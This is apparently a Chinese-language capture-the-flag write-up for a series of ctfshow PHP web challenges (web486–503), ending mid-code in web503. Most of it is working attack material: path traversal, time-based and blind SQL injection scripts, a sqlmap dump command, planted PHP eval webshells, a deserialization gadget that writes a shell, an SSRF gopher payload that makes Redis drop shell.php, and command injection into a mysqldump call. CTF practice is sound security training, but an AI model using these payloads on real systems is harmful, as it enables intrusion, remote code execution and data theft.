WEB入门——中期测评
web486
原URL:
index.php?action=login
改成:
/index.php?action=1.php
返回:
Warning: file_get_contents(templates/1.php.php): failed to open stream: No such file or directory in /var/www/html/render/file_class.php on line 18
得到flag
/index.php?action=../flag
web487
/index.php?action=1
返回:
Warning: file_get_contents(templates/1.php): failed to open stream: No such file or directory in /var/www/html/render/file_class.php on line 18
查看index
/index.php?action=../index
返回:
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
header('location:index.php?action=login');
}
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
测试时间盲注:
/index.php?action=check&username=1&password=') or sleep(3)--+
逻辑:
注入后:(username正确 AND password错误) OR (sleep(3))
└─────────────┬──────────────┘ └─┬─┘
│ │
FALSE TRUE
└─────────┬──────────┘
│
TRUE → 登录成功!
sqlmap直接跑
sqlmap -u "http://97855731-8e40-44d9-a109-d5b82ac9b4fb.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -D ctfshow -T flag -C flag --dump
web488
/index.php?action=../index
返回源码:
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
两个参数都被md5包裹了,不能用sql注入做了
查看:
render/render_class.php
GET:
/index.php?action=../render/render_class
返回:
<?php
ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
}
shade模板渲染函数,用于将模板中的占位符替换为实际数据。
处理流程:
- 遍历 $arg 数组的每个键值对
- 构造占位符格式:{{key}}
- 用 value 替换模板中所有的 {{key}}
- 返回替换完成的内容
foreach ($arg as $key => $value)
┌─────────────────────────────────────────────────────────────┐
│ $arg = [ │
│ 'username' => '张三', │
│ 'email' => 'zhangsan@example.com', │
│ 'age' => 25 │
│ ] │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 第1次循环:$key = 'username', $value = '张三' │
│ 第2次循环:$key = 'email', $value = 'zhangsan@...' │
│ 第3次循环:$key = 'age', $value = 25 │
└─────────────────────────────────────────────────────────────┘
$templateContent 获取templates/$template.php页面返回的内容,然后$cache调用shade函数替换$templateContent 中的字符串,把{{username}}替换为传入的数组key:value中的value值,最后再调用cache类中的create_cache函数
继续看看create_cache函数有什么作用:
render/cache_class.php
/index.php?action=../render/cache_class
返回:
<?php
ini_set('display_errors', 'On');
class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}
}
create_cache函数先检查是否存在文件cache/md5($template).php,如果没有则创建一个php文件,并把$content写进去,其中$content我们可以控制,且$template也是固定的
index关键代码
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
}
$user不存在时就会进入else语句,然后传入$template为 error,数组为[username: 任意内容]
可以写个webshell进去,因为error的md5值为cb5e100e5a9a3e7f6d1fd97512215282,文件会上传到
cache/cb5e100e5a9a3e7f6d1fd97512215282.php
如果已经查询过的话,会进入else分支,那么cache/cb5e100e5a9a3e7f6d1fd97512215282.php就已经存在了,后面再查询就会返回true,无法再进入create_cache函数的else分支
利用链:
templateUtil::render() -> templateUtil::shade() -> cache::create_cache() -> fileUtil::write()
重启以后
GET:
/index.php?action=check&username=<?php eval($_POST[1]);?>&password=123

蚁剑连接路径:
cache/cb5e100e5a9a3e7f6d1fd97512215282.php
web489
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
可以看到else分支改了,不能上传内容到error那里了
但是题目给出了关键代码extract($_GET),意思是将 $_GET 数组中的所有键值对转换成对应的普通变量,那我们可以通过变量覆盖来触发
题目贴心给出了cache清除代码,如果你在登录框尝试登录过,那可以通过输入/index.php?action=clear来清除cache目录,这样就不用重启靶机了
payload:
/index.php?action=check&username=<?php eval($_POST[1]);?>&sql=select 1;
分析:变量覆盖使if永真
蚁剑连接:
/cache/6a992d5529f459a44fee58c733255e86.php
web490
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$user->username));
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
sql语句变了,username那里没有md5包裹了
然后render('index',array('username'=>$username));变成了render('index',array('username'=>$user->username));
templateUtil::render('index', array('username'=>$username));
// $username 来自 $_GET['username】(用户输入)
templateUtil::render('index', array('username'=>$user->username));
// $user->username 来自 数据库查询结果
解决:通过sql注入改变查询的username的值,使后面的$user->username能返回我们想要的值
相当于让数据库查询出来:
username=<?php eval($_POST[1]);?>
类似这种效果:

payload尝试:
/index.php?action=check&username=1' union select '<?php eval($_POST[1]);?>'--+&password=1
访问
/cache/6a992d5529f459a44fee58c733255e86.php
返回:
**Parse error**: syntax error, unexpected '<' in **/var/www/html/cache/6a992d5529f459a44fee58c733255e86.php** on line **19**
访问:
/index.php?action=index
返回:
<?=<?php eval($_POST[1]);?>?>
说明本身就是闭合的
先清除:
/index.php?action=clear
payload:
/index.php?action=check&username=1' union select 'eval($_POST[1])'--+&password=1
web491
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index');
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
templateUtil::render('index');
被修复了,不能写入webshell了,但能执行命令读取文件
但是username那边没有md5包裹,可以用SQL注入获取flag
/index.php?action=check&username=1' union select load_file('/flag') into outfile "/tmp/3.php" --+&password=1
然后找flag
/index.php?action=../../../../tmp/3
web492
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
多了一个正则:
if(preg_match('/^[A-Za-z0-9]+$/', $username))
然后上题的templateUtil::render('index')改回templateUtil::render('index',$user)
查看render/render_class.php:
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);
}
return $templateContent;
}
}
可以继续用之前的方法:
之前是
templateUtil::render('index',array('username'=>$username));
现在是:
templateUtil::render('index',$user);
必须要求传进去一个数组,于是
payload:
/index.php?action=check&username='1&user[username]=<?php eval($_POST[1]);?>
利用extract($_GET);污染变量
username随便带个符号跳过正则验证直接来到templateUtil::render('index',$user)
访问:
/cache/6a992d5529f459a44fee58c733255e86.php
返回正常
<!--
Notice: Undefined offset: 1 in /var/www/html/cache/6a992d5529f459a44fee58c733255e86.php on line 19
-->
蚁剑连接:
/cache/6a992d5529f459a44fee58c733255e86.php
web493
<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one($sql);
}
if($user){
setcookie('user',$user);
templateUtil::render('index');
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
下面的render只传入了$template,没有传入数组参数,没法使用上述参数
用反序列化来做这题
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);
读取上面的render/db_class.php
/index.php?action=../render/db_class
返回:
<?php
error_reporting(0);
class db{
public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}
public function getConnection(){
return new mysqli($this->addr,$this->username,$this->password,$this->database);
}
public function select_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}
}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
写代码:
<?php
class dbLog{
public $content;
public $log;
public function __construct(){
$this->log='1.php';
$this->content='<?php eval($_POST[1]);?>';
}
}
$a = new dbLog();
echo serialize($a);
返回:
O:5:"dbLog":2:{s:7:"content";s:24:"<?php eval($_POST[1]);?>";s:3:"log";s:5:"1.php";}
要求:
if(!isset($action))
删去action

蚁剑连接
1.php
web494
<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(preg_match('/\:|\,/', $c)){
$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
if($action=='check'){
extract($_GET);
if(!preg_match('/or|and|innodb|sys/i', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
setcookie('user',$user);
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
preg_match('/\:|\,/', $c)检查字符串 $c 中是否包含 : (冒号) 或 , (逗号),对上题payload无影响
/render/db_class
<?php
error_reporting(0);
class db{
public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}
public function getConnection(){
return new mysqli($this->addr,$this->username,$this->password,$this->database);
}
public function select_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}
}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
直接用上题payload
写代码:
<?php
class dbLog{
public $content;
public $log;
public function __construct(){
$this->log='1.php';
$this->content='<?php eval($_POST[1]);?>';
}
}
$a = new dbLog();
echo serialize($a);
返回:
O:5:"dbLog":2:{s:7:"content";s:24:"<?php eval($_POST[1]);?>";s:3:"log";s:5:"1.php";}


必须是127.0.0.1

web495
核心代码没有变
可以继续用上题的方法,flag在数据库
web496
<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(preg_match('/\:|\,/', $c)){
#$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
switch ($action) {
case 'check':
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
$_SESSION['user']=$user;
header('location:index.php?action=index');
}else{
templateUtil::render('error');
}
break;
case 'clear':
system('rm -rf cache/*');
die('cache clear');
break;
case 'login':
templateUtil::render($action);
break;
case 'index':
$user=$_SESSION['user'];
if($user){
templateUtil::render('index',$user);
}else{
header('location:index.php?action=login');
}
break;
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
case 'logout':
session_destroy();
header('location:index.php?action=login');
break;
default:
templateUtil::render($action);
break;
}
发现反序列化代码被注释了,然后SQL正则那里多了一些过滤
if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
账号:'||1=1#
密码:1
进去后点击基本资料,可以看到管理员信息修改

/index.php?action=../api/admin_edit
返回
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
注意:
extract($_POST);
存在查库的操作就会存在布尔盲注的空间
import requests
import string
url = "http://853d9f02-3a48-4fad-8cbd-9fa887c164f9.challenge.ctf.show"
chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890[]{},.-_"
result = ""
session = requests.session()
session.post(url + "?action=check", data={"username":"'||1=1#", "password":1})
for pos in range(1, 100):
found = False
for c in chars:
# payload = "'||if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',1,0)#".format(pos, c)
# payload = "'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(pos, c)
payload = "'||if(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(pos, c)
data = {'nickname': str(pos), 'user[username]': payload}
response = session.post(url + "/api/admin_edit.php", data=data)
if "u529f" in response.text:
result += c
print(result)
found = True
break
if not found:
break
web497
<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(!preg_match('/\:|\,/', $c)){
$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
switch ($action) {
case 'check':
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
$_SESSION['user']=$user;
header('location:index.php?action=index');
}else{
templateUtil::render('error');
}
break;
case 'clear':
system('rm -rf cache/*');
die('cache clear');
break;
case 'login':
templateUtil::render($action);
break;
case 'index':
$user=$_SESSION['user'];
if($user){
templateUtil::render('index',$user);
}else{
header('location:index.php?action=login');
}
break;
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
case 'logout':
session_destroy();
header('location:index.php?action=login');
break;
default:
templateUtil::render($action);
break;
}
$user=unserialize($c)的注释去掉了,但是前面的正则匹配加了感叹号,也就是不能出现冒号和逗号
不走这个方法,继续用万能密码登录系统
账号:'||1=1#
密码:1
点击基本信息,发现头像处可以修改

SSRF漏洞,改成:
file:///flag
修改成功后右键点击头像,选择在新标签页中打开图像得到flag

web498
也是上一题的方法,读/etc/passwd可以,但是读flag读不到了,可能是权限不足,也可能是flag不叫这个名字了或者在其他目录
file:///etc/passwd
返回:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/bin/false
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
redis:x:102:103:redis:/var/lib/redis:/bin/false
刚好看到/etc/passwd里面有个redis,输入dict://127.0.0.1:6379探测端口开放情况
dict://127.0.0.1:6379
返回:
-ERR Syntax error, try CLIENT (LIST | KILL | GETNAME | SETNAME | PAUSE | REPLY)
+OK
用Gopher协议打SSRF就可以,工具Gopherus
因此我们用Gopher协议打无密码的mysql,工具是Gopherus
python2 gopherus.py --exploit redis
输入以下内容
用户名:
root
待执行命令:
<?php eval($_POST[1]);?>

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
访问:
/shell.php
web499
头像地址没了,SSRF打不通,发现系统配置可以打开


查看源码
/index.php?action=../api/admin_settings
返回:
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
关键:
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings.php', serialize($config));
把POST传进来的键值对放入数组,然后写入文件config/settings.php
查看源码:
/index.php?action=../config/settings
返回:
a:4:{s:5:"title";s:16:"ctfshow欢迎你";s:10:"copy_right";s:19:"CTFshow版权所有";s:5:"beian";s:11:"京ICP-1001";s:3:"seo";s:52:"ctf.show - 友好,欢乐,新手向的CTFer社区";}
刚好对应的就是前面的系统配置页面,那我们在系统配置页面传入一句话木马

/index.php?action=../config/settings
返回:
a:4:{s:5:"title";s:24:"<?php eval($_POST[1]);?>";s:10:"copy_right";s:19:"CTFshow版权所有";s:5:"beian";s:11:"京ICP-1001";s:3:"seo";s:52:"ctf.show - 友好,欢乐,新手向的CTFer社区";}
蚁剑连接:
/config/settings.php
web500
查看源码
/index.php?action=../api/admin_settings
返回:
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
上题的代码改了,不是写到php文件了,那我们换个方法
发现数据库备份可以打开


读取源码:
/index.php?action=../api/admin_db_backup
返回:
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
if(file_exists(__DIR__.'/../backup/'.$db_path)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
关键:
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
拼接命令读取flag
;cat /f*>/var/www/html/1.txt

访问:
1.txt
web501
读取源码:
/index.php?action=../api/admin_db_backup
返回:
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/^zip|tar|sql$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
有一个正则表达式:
preg_match('/^zip|tar|sql$/', $db_format)
加上zip拼接命令读取flag
POST:
db_format=zip;cat /f*>/var/www/html/1.txt
web502
读取源码:
/index.php?action=../api/admin_db_backup
返回:
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
关键:
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
要求$db_format只能严格匹配 “zip”、“tar”、“sql” 这三个字符串
解决:利用$pre进行变量覆盖然后分号截断执行命令
POST:
db_format=zip&pre=1.txt;cat /f*>/var/www/html/1.txt;
web503
读取源码:
/index.php?action=../api/admin_db_backup
返回
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
关键:
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
$pre和$db_format被md5包裹了,无法利用了
上面可以看到有个file_exists函数,以后能用到
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}
在系统配置功能处可以看到有个图片上传功能

/api/admin_upload.php
查看源码:
/index.php?action=../api/admin_upload
返回:
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$arr = $_FILES["file"];
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
{
$arr["tmp_name"];
$filename = md5($arr['name']);
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
if(!preg_match('/^php$/i', $ext)){
$basename = "../img/".$filename.'.' . $ext;
move_uploaded_file($arr["tmp_name"],$basename);
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$config['logo']=$filename.'.' . $ext;
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这里判断文件 MIME 类型是否是 JPEG 或 PNG,并且文件大小要小于10MB,且禁止扩展名为“php”的文件上传。
结合前面/api/admin_db_backup.php的file_exists函数,可以用phar反序列化来做
读取render/db_class.php
/index.php?action=../render/db_class
返回:
<?php
error_reporting(0);
class db{
public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}
public function getConnection(){
return new mysqli($this->addr,$this->username,$this->password,$this->database);
}
public function select_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}
}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function __destruct(){
